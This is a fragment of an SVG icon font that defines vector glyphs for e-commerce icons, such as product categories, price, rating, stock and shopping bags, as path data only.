<glyph glyph-name="product-breadcrumbs" unicode="&#xe8d4;" d="M490 100c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-580 738c-12 0-21 9-21 21s9 21 21 21h167c11 0 20-9 20-21s-9-21-20-21h-167z m500 0c-12 0-21 9-21 21s9 21 21 21h167c11 0 20-9 20-21s-9-21-20-21h-167z m-241 67c-9 6-11 20-5 29 7 9 20 11 30 4l82-60c11-8 11-25 1-33l-84-65c-9-7-22-5-29 4-7 9-5 22 4 29l61 48-60 44z" horiz-adv-x="1000" />

<glyph glyph-name="product-categories" unicode="&#xe8d5;" d="M479 671c0 7 9 12 21 12s21-5 21-12v-100c0-7-9-13-21-13s-21 6-21 13v100z m-208-92c0-11-9-21-21-21s-21 10-21 21v42c0 34 28 62 63 62h416c35 0 63-28 63-62v-42c0-11-9-21-21-21s-21 10-21 21v42c0 12-9 21-21 21h-416c-12 0-21-9-21-21v-42z m-83-21v-41h125v41h-125z m-30 42h184c7 0 12-5 12-12v-100c0-8-5-13-12-13h-184c-7 0-12 5-12 13v100c0 7 5 12 12 12z m280-42v-41h125v41h-125z m-30 42h184c7 0 12-5 12-12v-100c0-8-5-13-12-13h-184c-7 0-12 5-12 13v100c0 7 5 12 12 12z m280-42v-41h125v41h-125z m-30 42h184c7 0 12-5 12-12v-100c0-8-5-13-12-13h-184c-7 0-12 5-12 13v100c0 7 5 12 12 12z m-168-500c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z" horiz-adv-x="1000" />

<glyph glyph-name="product-description" unicode="&#xe8d6;" d="M188 642c-12 0-21 9-21 21s9 20 21 20h626c11 0 21-9 21-20s-10-21-21-21h-626z m0-167c-12 0-21 9-21 21s9 21 21 21h626c11 0 21-9 21-21s-10-21-21-21h-626z m0 83c-12 0-21 10-21 21 0 12 9 21 21 21h527c12 0 21-9 21-21 0-11-9-21-21-21h-527z m0-166c-12 0-21 9-21 21s9 20 21 20h405c12 0 21-9 21-20s-9-21-21-21h-405z m302-292c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z" horiz-adv-x="1000" />

<glyph glyph-name="product-images" unicode="&#xe8d7;" d="M416 437h127l45 147h-216l44-147z m184 189c18 0 33-15 33-33 0-4 0-7-2-10l-51-164c-4-14-17-24-31-24h-139c-15 0-27 10-32 24l-54 179c0 1 0 1 0 1-4 11-9 22-16 33-5 6-10 9-17 9-11 0-21 9-21 21s10 21 21 21c21 0 39-10 51-28 7-9 12-19 16-30h242z m-174-301c-16 0-29 13-29 29 0 16 13 29 29 29s29-13 29-29c0-16-13-29-29-29z m104 0c-16 0-29 13-29 29 0 16 13 29 29 29 16 0 29-13 29-29 0-16-13-29-29-29z m-488 483v-625h875v625h-875z m-21 42h917c11 0 20-9 20-21v-666c0-12-9-21-20-21h-917c-12 0-21 9-21 21v666c0 12 9 21 21 21z m21-792v-83h125v83h-125z m-21 42h167c11 0 20-9 20-21v-125c0-12-9-21-20-21h-167c-12 0-21 9-21 21v125c0 12 9 21 21 21z m271-42v-83h125v83h-125z m-21 42h167c11 0 20-9 20-21v-125c0-12-9-21-20-21h-167c-12 0-21 9-21 21v125c0 12 9 21 21 21z m271-42v-83h125v83h-125z m-21 42h167c11 0 20-9 20-21v-125c0-12-9-21-20-21h-167c-12 0-21 9-21 21v125c0 12 9 21 21 21z m271-42v-83h125v83h-125z m-21 42h167c11 0 20-9 20-21v-125c0-12-9-21-20-21h-167c-12 0-21 9-21 21v125c0 12 9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="product-info" unicode="&#xe8d8;" d="M490 100c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390v0z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241v0z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-188 552l-4-12c-11-3-21-6-28-8-7-1-16-3-25-3-14 0-25 3-33 8-8 5-12 12-12 20 0 3 0 6 1 9s1 7 3 11l15 39c1 4 2 7 3 10 1 4 1 7 1 10 0 5-1 8-4 10s-8 3-16 3c-4 0-8-1-11-1-5-1-8-2-11-3l4 12c10 3 19 6 28 8s17 3 25 3c14 0 26-3 33-8 8-5 12-12 12-19 0-2-1-5-1-9s-2-8-3-12l-15-38c-1-3-2-7-3-11-1-3-1-7-1-9 0-5 2-9 4-10 4-2 9-3 17-3 3 0 7 0 12 1 4 1 7 1 9 2z m4 162c0-7-4-13-11-17s-15-7-25-7c-9 0-18 2-25 7s-10 10-10 17 3 12 10 17 16 7 25 7 18-2 25-7c7-5 11-10 11-17z m-63-288c-115 0-208 93-208 208s93 208 208 208 209-93 209-208-94-208-209-208z m0 41c92 0 167 75 167 167s-75 167-167 167-166-75-166-167 74-167 166-167z" horiz-adv-x="1000" />

<glyph glyph-name="product-meta" unicode="&#xe8d9;" d="M229 350c0 12-9 21-21 21s-20-9-20-21 9-21 20-21 21 9 21 21z m42 0c0-35-28-62-63-62s-62 27-62 62 28 63 62 63 63-28 63-63z m125 0c0 12-9 21-21 21s-21-9-21-21 9-21 21-21 21 9 21 21z m42 0c0-35-28-62-63-62s-62 27-62 62 27 63 62 63 63-28 63-63z m125 0c0 12-10 21-21 21s-21-9-21-21 9-21 21-21 21 9 21 21z m41 0c0-35-28-62-62-62s-63 27-63 62 28 63 63 63 62-28 62-63z m-114-250c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z" horiz-adv-x="1000" />

<glyph glyph-name="product-pages" unicode="&#xe8da;" d="M270 37h-21c-12 0-21 9-21 21v45h-45c-12 0-21 9-21 20v429c0 6 2 11 6 15l198 198c4 3 9 6 14 6h264c11 0 21-9 21-21v-45h45c11 0 20-9 20-21v-21h48c12 0 21-9 21-20v-433c0-12-9-21-21-21-11 0-20 9-20 21v412h-28v-412c0-12-9-21-20-21-12 0-21 9-21 21v453h-24v-439c0-12-10-21-21-21-12 0-21 9-21 21v505h-234l-185-185v-399h350c11 0 21-10 21-21s-10-21-21-21h-284v-24h308c12 0 21-9 21-21 0-12-9-21-21-21h-267v-27h293c12 0 21-10 21-21 0-12-9-21-21-21h-314c-11 0-20 9-20 21v48z m425-62h127l45 147h-216l44-147z m184 188c18 0 33-15 33-33 0-3 0-7-2-10l-50-164c-5-14-17-23-32-23h-139c-14 0-27 9-32 24l-54 179c0 0 0 1 0 1-3 11-9 22-16 32-4 7-9 10-17 10-11 0-20 9-20 21s9 20 20 20c21 0 39-9 51-27 7-10 12-20 17-30h241z m-174-301c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-449 711v127l29 30h12v-177c0-12-9-21-21-21h-176v12l29 29h127z" horiz-adv-x="1000" />

<glyph glyph-name="product-price" unicode="&#xe8db;" d="M755 320c-57 0-102 34-106 78-1 12 8 22 19 22 12 1 22-7 23-19 2-21 31-39 64-39 35 0 64 19 64 41 0 21-20 34-64 42l-4 0c-69 13-102 40-102 83 0 46 48 84 106 84 57 0 103-34 106-78 1-11-7-21-19-22-11-2-22 7-23 19-1 22-30 39-64 39-34 0-63-19-63-41 0-21 20-34 63-41l5-1c68-13 101-40 101-83 0-46-47-84-106-84z m0-41c-12 0-21 9-21 21v333c0 12 9 21 21 21s21-9 21-21v-333c0-12-9-21-21-21z m-265-179c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-198 509c15 0 29 14 29 33v107c0 18-13 33-29 33s-28-15-28-33v-107c0-19 13-33 28-33z m0-42c-39 0-70 34-70 75v107c0 41 31 74 70 74s70-33 70-74v-107c0-41-30-75-70-75z m-182 107c-6 0-12-6-12-15v-36c0-8 6-15 12-15h33c6 0 12 7 12 15v36c0 9-6 15-12 15h-33z m-54-15v54c0 60 46 110 103 110 11 0 20-9 20-21 0-11-9-21-20-21-33 0-61-29-61-66 4 1 8 1 12 1h33c30 0 54-26 54-57v-36c0-30-24-56-54-56h-33c-30 0-54 26-54 56v36z m-101 59c15 0 28 15 28 33s-13 33-28 33c-16 0-28-9-28-15 0-12-10-21-21-21s-21 9-21 21c0 32 33 57 70 57 39 0 70-34 70-75 0-21-8-40-21-54 13-14 21-32 21-54 0-40-31-74-70-74-37 0-70 24-70 57 0 11 9 20 21 20s21-9 21-20c0-6 12-15 28-15 15 0 28 14 28 32 0 19-13 33-28 33h-16c-12 0-21 10-21 21s9 21 21 21h16z" horiz-adv-x="1000" />

<glyph glyph-name="product-rating" unicode="&#xe8dc;" d="M490 100c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-258 709c-6-8-6-8-15-10h-17l12-11c5-7 5-7 5-15l-5-27 23 13c8 4 8 4 17 0l22-13-5 27c0 9 0 9 5 15l12 11h-16c-10 2-10 2-15 10l-12 29-11-29z m-4 77c8 10 8 10 21 9 6-4 6-4 9-9l23-55h46c12-3 12-3 16-16-1-7-1-7-5-12l-36-33 10-54c-1-13-1-13-13-19-5 0-5 0-11 2l-45 27-44-27c-13-3-13-3-22 6-3 5-3 5-3 11l10 54-35 33c-7 12-7 12-1 23 5 5 5 5 12 5h46l22 55z m254-77c-6-8-6-8-15-10h-17l12-11c5-7 5-7 5-15l-5-27 23 13c8 4 8 4 17 0l22-13-5 27c0 9 0 9 5 15l12 11h-16c-10 2-10 2-15 10l-12 29-11-29z m-4 77c8 10 8 10 21 9 6-4 6-4 9-9l23-55h46c12-3 12-3 16-16-1-7-1-7-5-12l-36-33 10-54c-1-13-1-13-13-19-5 0-5 0-11 2l-45 27-44-27c-13-3-13-3-22 6-3 5-3 5-3 11l10 54-35 33c-7 12-7 12-1 23 5 5 5 5 12 5h46l22 55z m-496-77c-6-8-6-8-15-10h-17l12-11c5-7 5-7 5-15l-5-27 23 13c8 4 8 4 17 0l22-13-5 27c0 9 0 9 5 15l12 11h-16c-10 2-10 2-15 10l-12 28-11-28z m-4 77c8 10 8 10 21 9 6-4 6-4 9-9l23-55h46c12-3 12-3 16-16-1-7-1-7-5-12l-36-33 10-54c-1-13-1-13-13-19-5 0-5 0-11 2l-45 27-44-27c-13-3-13-3-22 6-3 5-3 5-3 11l10 54-35 33c-7 12-7 12-1 23 5 5 5 5 12 5h46l22 55z" horiz-adv-x="1000" />

<glyph glyph-name="product-related" unicode="&#xe8dd;" d="M42 350h625v63c0 34-28 62-63 62h-500c-34 0-62-28-62-62v-63z m625-42h-625v-354c0-34 28-62 62-62h500c35 0 63 28 63 62v354z m41-354c0-57-46-104-104-104h-500c-57 0-104 47-104 104v459c0 57 47 104 104 104h500c58 0 104-47 104-104v-459z m-583 459c0-12-9-21-21-21s-21 9-21 21 10 20 21 20 21-9 21-20m83 0c0-12-9-21-20-21s-21 9-21 21 9 20 21 20 20-9 20-20m84 0c0-12-9-21-21-21-12 0-21 9-21 21s9 20 21 20c12 0 21-9 21-20m6 235c-4 4-6 9-6 15v83c0 57 46 104 104 104h500c57 0 104-47 104-104v-458c0-58-47-105-104-105h-83c-12 0-21 10-21 21s9 21 21 21h83c34 0 62 28 62 63v354h-645c-6 0-11 2-15 6z m660 35v63c0 34-28 62-62 62h-500c-35 0-63-28-63-62v-63h625z m-541 63c0-12-9-21-21-21s-21 9-21 21 9 21 21 21 21-9 21-21m83 0c0-12-9-21-21-21s-21 9-21 21 10 21 21 21 21-9 21-21m83 0c0-12-9-21-20-21s-21 9-21 21 9 21 21 21 20-9 20-21m-452-265c-3 4-6 9-6 15v83c0 58 47 104 104 104h500c58 0 104-46 104-104v-458c0-58-46-104-104-104h-41c-12 0-21 9-21 21s9 20 21 20h41c35 0 63 28 63 63v354h-646c-6 0-11 3-15 6z m661 36v62c0 35-28 63-63 63h-500c-34 0-62-28-62-63v-62h625z m-542 62c0-11-9-21-21-21s-21 10-21 21c0 12 10 21 21 21s21-9 21-21m83 0c0-11-9-21-20-21s-21 10-21 21c0 12 9 21 21 21s20-9 20-21m84 0c0-11-9-21-21-21s-21 10-21 21c0 12 9 21 21 21s21-9 21-21m-105-538h126l46 147h-216l44-147z m183 189c19 0 34-15 34-33 0-4-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 23l-54 180c0 0 0 0 0 0-4 12-9 22-16 33-5 7-10 9-17 9-12 0-21 10-21 21s9 21 21 21c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 29s12 29 29 29 29-12 29-29-13-29-29-29z m104 0c-16 0-29 13-29 29s13 29 29 29 29-12 29-29-13-29-29-29z" horiz-adv-x="1000" />

<glyph glyph-name="product-stock" unicode="&#xe8de;" d="M389 435l71 245c7 24 41 19 41-5v-672c0-13-12-23-25-20l-343 75c-9 2-16 10-16 20v335c0 12 9 21 21 21h251z m35-27c-2-9-11-15-20-15h-245v-298l301-65v499l-36-121z m28 243l-299-33-62-183h297l64 216z m-48-258h-342c-14 0-24 14-19 27l76 224c2 8 9 14 17 14l343 37c14 2 26-12 22-26l-76-261c-3-9-12-15-21-15z m429 42c12 0 21-10 21-21v-200c0-12-9-21-21-21s-21 9-21 21v179h-256c-9 0-17 6-20 15l-35 121v-499l130 28c11 2 22-5 24-16 3-11-4-22-15-24l-156-34c-13-3-25 7-25 20v671c0 24 34 29 41 5l71-245h262z m-277-42c-9 0-17 6-20 15l-76 261c-4 14 8 28 22 26l343-37c8 0 15-6 18-14l76-224c4-13-6-27-20-27h-343z m16 42h298l-63 183-298 33 63-216z m169-460h127l45 147h-216l44-147z m184 188c18 0 33-15 33-33 0-3 0-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-27 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-11 0-21 9-21 21s10 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h242z m-174-301c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z" horiz-adv-x="1000" />

<glyph glyph-name="product-tabs" unicode="&#xe8df;" d="M737-25h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-516 738h478c35 0 62-28 62-62v-328c0-11-9-20-20-20s-21 9-21 20v328c0 11-9 20-21 20h-486c-12 0-22 7-27 19l-37 93c-4 8-11 13-20 13h-140c-8 0-16-5-19-14l-40-109c-1-5-2-9-2-14v-468c0-11 9-20 21-20h555c12 0 21-10 21-21s-9-21-21-21h-555c-35 0-63 28-63 62v468c0 9 2 19 5 28l40 110c8 25 32 41 58 41h140c26 0 49-15 58-39l34-86z m219-3l-26 73c-3 8-11 13-20 13h-145c-9 0-18-6-20-15l-12-43c-3-11-14-17-26-14-11 3-17 14-14 26l12 42c7 27 32 46 60 46h145c26 0 49-16 58-41l31-84c5-15-2-32-18-37-5-2-10-3-15-2-11 2-19 13-17 25 1 4 3 8 7 11z m39 29c-3-11-15-18-26-15-11 3-17 15-14 26l11 43c8 27 32 45 60 45h145c26 0 50-16 59-42l44-126c4-11-2-23-13-27s-23 2-26 13l-45 127c-3 8-10 14-19 14h-144c-9 0-17-6-20-16l-12-42z" horiz-adv-x="1000" />

<glyph glyph-name="product-title" unicode="&#xe8e0;" d="M458 308c0 1 0 1 0 1v291h-125v-33c0-12-9-21-20-21s-21 9-21 21v54c0 12 9 21 21 21h333c12 0 21-9 21-21v-54c0-12-9-21-21-21s-21 9-21 21v33h-125v-291c0 0 0 0 0-1h42c11 0 21-9 21-20s-10-21-21-21h-125c-12 0-21 9-21 21s9 20 21 20h41z m32-208c12 0 21-9 21-21s-9-21-21-21h-390c-54 0-100 37-100 86v579c0 48 46 85 100 85h758c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6-3 0-6-1-9-1-5-1-9-1-11-1-12 0-21 8-22 20 0 12 8 21 20 22 2 0 6 0 9 0 3 0 4 0 6 0 5 1 9 3 14 5 19 8 31 23 31 38v580c0 23-25 44-59 44h-758c-33 0-58-21-58-44v-580c0-23 25-43 58-43h390z m122-125h126l46 147h-216l44-147z m183 188c19 0 34-15 34-33 0-3-1-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-28 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-12 0-21 9-21 21s9 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h241z m-173-301c-17 0-29 13-29 30s12 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z" horiz-adv-x="1000" />

<glyph glyph-name="product-upsell" unicode="&#xe8e1;" d="M741-25h127l45 147h-216l44-147z m184 188c18 0 33-15 33-33 0-3 0-7-2-10l-51-164c-4-14-17-23-31-23h-139c-15 0-27 9-32 24l-54 179c0 0 0 1 0 1-4 11-9 22-16 32-5 7-10 10-17 10-11 0-21 9-21 21s10 20 21 20c21 0 39-9 51-27 7-10 12-20 16-30h242z m-174-301c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m104 0c-16 0-29 13-29 30s13 29 29 29 29-13 29-29-13-30-29-30z m-378 418c-9-6-22-4-29 6-7 9-4 22 5 29 67 46 108 123 108 207 0 137-109 249-243 249-134 0-243-112-243-249 0-101 58-190 147-229 10-5 15-17 10-28-4-10-17-15-27-10-104 46-172 150-172 267 0 160 127 291 285 291 157 0 285-131 285-291 0-98-48-188-126-242z m238 172c8 8 22 8 30 0 8-8 8-21 0-29l-247-253c-8-9-22-9-30 0l-117 119-183-187c-8-8-21-8-29 0-9 8-9 21-1 29l198 203c9 8 22 8 30 0l117-120 232 238z m98 91c11 0 20-10 20-21v-169c0-19-22-28-35-15l-165 169c-13 13-4 36 15 36h165z m-116-42l95-97v97h-95z m-466-35c-1 12 8 22 19 23 12 1 22-8 23-19 1-15 20-29 45-29 26 0 45 15 45 30 0 10-7 17-21 23-5 2-10 3-16 5-3 1-13 2-12 2 1 0-9 2-14 3-7 1-15 4-22 6-28 12-47 32-47 62 0 41 40 72 87 72 45 0 83-28 87-67 0-12-8-22-20-22s-21 7-22 19c-1 14-20 28-45 28-26 0-45-14-45-30 0-10 7-17 21-23 5-2 10-3 16-5 3-1 13-2 12-2-1 0 9-2 13-3 8-1 15-4 23-6 28-12 47-32 47-62 0-41-40-71-87-71-45 0-84 28-87 66z m66 191c0 11 9 21 21 21 12 0 21-10 21-21v-270c0-12-9-21-21-21-12 0-21 9-21 21v270z" horiz-adv-x="1000" />

<glyph glyph-name="products" unicode="&#xe8e2;" d="M542 808v-375h375v375h-375z m-21 42h417c11 0 20-9 20-21v-416c0-12-9-21-20-21h-417c-12 0-21 9-21 21v416c0 12 9 21 21 21z m-479-42v-375h375v375h-375z m-21 42h417c11 0 20-9 20-21v-416c0-12-9-21-20-21h-417c-12 0-21 9-21 21v416c0 12 9 21 21 21z m521-542v-375h375v375h-375z m-21 42h417c11 0 20-9 20-21v-417c0-11-9-20-20-20h-417c-12 0-21 9-21 20v417c0 12 9 21 21 21z m-479-42v-375h375v375h-375z m-21 42h417c11 0 20-9 20-21v-417c0-11-9-20-20-20h-417c-12 0-21 9-21 20v417c0 12 9 21 21 21z m185 219h89l33 111h-154l32-111z m134 149c16 0 29-13 29-29 0-3-1-5-1-8l-38-128c-4-13-15-21-28-21h-102c-13 0-25 8-28 21l-41 140c0 1 0 1 0 1-3 9-6 17-12 25-3 5-6 6-9 6-11 0-19 9-19 19s8 19 19 19c17 0 31-8 40-23 5-7 9-15 12-22h178z m-130-246c-12 0-21 11-21 23s10 23 21 23 22-10 22-23-9-23-22-23z m78 0c-12 0-21 11-21 23s10 23 21 23 22-10 22-23-10-23-22-23z m418 97h89l33 111h-154l32-111z m134 149c16 0 29-13 29-29 0-3-1-5-1-8l-38-128c-4-13-15-21-28-21h-102c-13 0-25 8-28 21l-41 140c0 1 0 1 0 1-3 9-6 17-12 25-3 5-6 6-9 6-11 0-19 9-19 19s8 19 19 19c17 0 31-8 40-23 5-7 9-15 12-22h178z m-130-246c-12 0-21 11-21 23s10 23 21 23 22-10 22-23-9-23-22-23z m78 0c-12 0-21 11-21 23s10 23 21 23 22-10 22-23-10-23-22-23z m-582-403h89l33 111h-154l32-111z m134 149c16 0 29-13 29-29 0-3-1-5-1-8l-38-128c-4-13-15-21-28-21h-102c-13 0-25 8-28 21l-41 140c0 1 0 1 0 1-3 9-6 17-12 25-3 5-6 6-9 6-11 0-19 9-19 19 0 11 8 19 19 19 17 0 31-8 40-23 5-7 9-15 12-22h178z m-130-246c-12 0-21 10-21 23 0 13 10 23 21 23s22-10 22-23c0-13-9-23-22-23z m78 0c-12 0-21 10-21 23 0 13 10 23 21 23s22-10 22-23c0-13-10-23-22-23z m418 97h89l33 111h-154l32-111z m134 149c16 0 29-13 29-29 0-3-1-5-1-8l-38-128c-4-13-15-21-28-21h-102c-13 0-25 8-28 21l-41 140c0 1 0 1 0 1-3 9-6 17-12 25-3 5-6 6-9 6-11 0-19 9-19 19 0 11 8 19 19 19 17 0 31-8 40-23 5-7 9-15 12-22h178z m-130-246c-12 0-21 10-21 23 0 13 10 23 21 23s22-10 22-23c0-13-9-23-22-23z m78 0c-12 0-21 10-21 23 0 13 10 23 21 23s22-10 22-23c0-13-10-23-22-23z" horiz-adv-x="1000" />

<glyph glyph-name="bag-light" unicode="&#xe8e3;" d="M333 558l0 84c6 108 64 165 168 165 104 0 161-57 166-166v-83h83c46 0 83-37 83-83v-500c0-46-37-83-83-83h-500c-46 0-83 37-83 83v500c0 46 37 83 83 83h83z m42 0h250l0 82c-3 85-43 125-124 125-81 0-121-40-126-124l0-83z m-42-41h-83c-23 0-42-19-42-42v-500c0-23 19-42 42-42h500c23 0 42 19 42 42v500c0 23-19 42-42 42h-83v-121c0-12-9-21-21-21s-21 9-21 21l0 121h-250l0-121c0-12-9-21-21-21-11 0-21 9-21 21l0 121z" horiz-adv-x="1000" />

<glyph glyph-name="bag-medium" unicode="&#xe8e4;" d="M323 558l0 85c6 112 68 174 178 174 109 0 172-62 176-176v-83h73c46 0 83-37 83-83v-500c0-46-37-83-83-83h-500c-46 0-83 37-83 83v500c0 46 37 83 83 83h73z m62 0h230l0 82c-4 80-38 115-114 115-76 0-111-35-116-114l0-83z m-62-62h-73c-12 0-21-9-21-21v-500c0-12 9-21 21-21h500c12 0 21 9 21 21v500c0 12-9 21-21 21h-73v-100c0-17-14-31-31-31s-31 14-31 31l0 100h-230l0-100c0-17-14-31-31-31-17 0-31 14-31 31l0 100z" horiz-adv-x="1000" />

<glyph glyph-name="bag-solid" unicode="&#xe8e5;" d="M333 558l0 84c6 108 64 165 168 165 104 0 161-57 166-166v-83h83c46 0 83-37 83-83v-500c0-46-37-83-83-83h-500c-46 0-83 37-83 83v500c0 46 37 83 83 83h83z m42 0h250l0 82c-3 85-43 125-124 125-81 0-121-40-126-124l0-83z" horiz-adv-x="1000" />

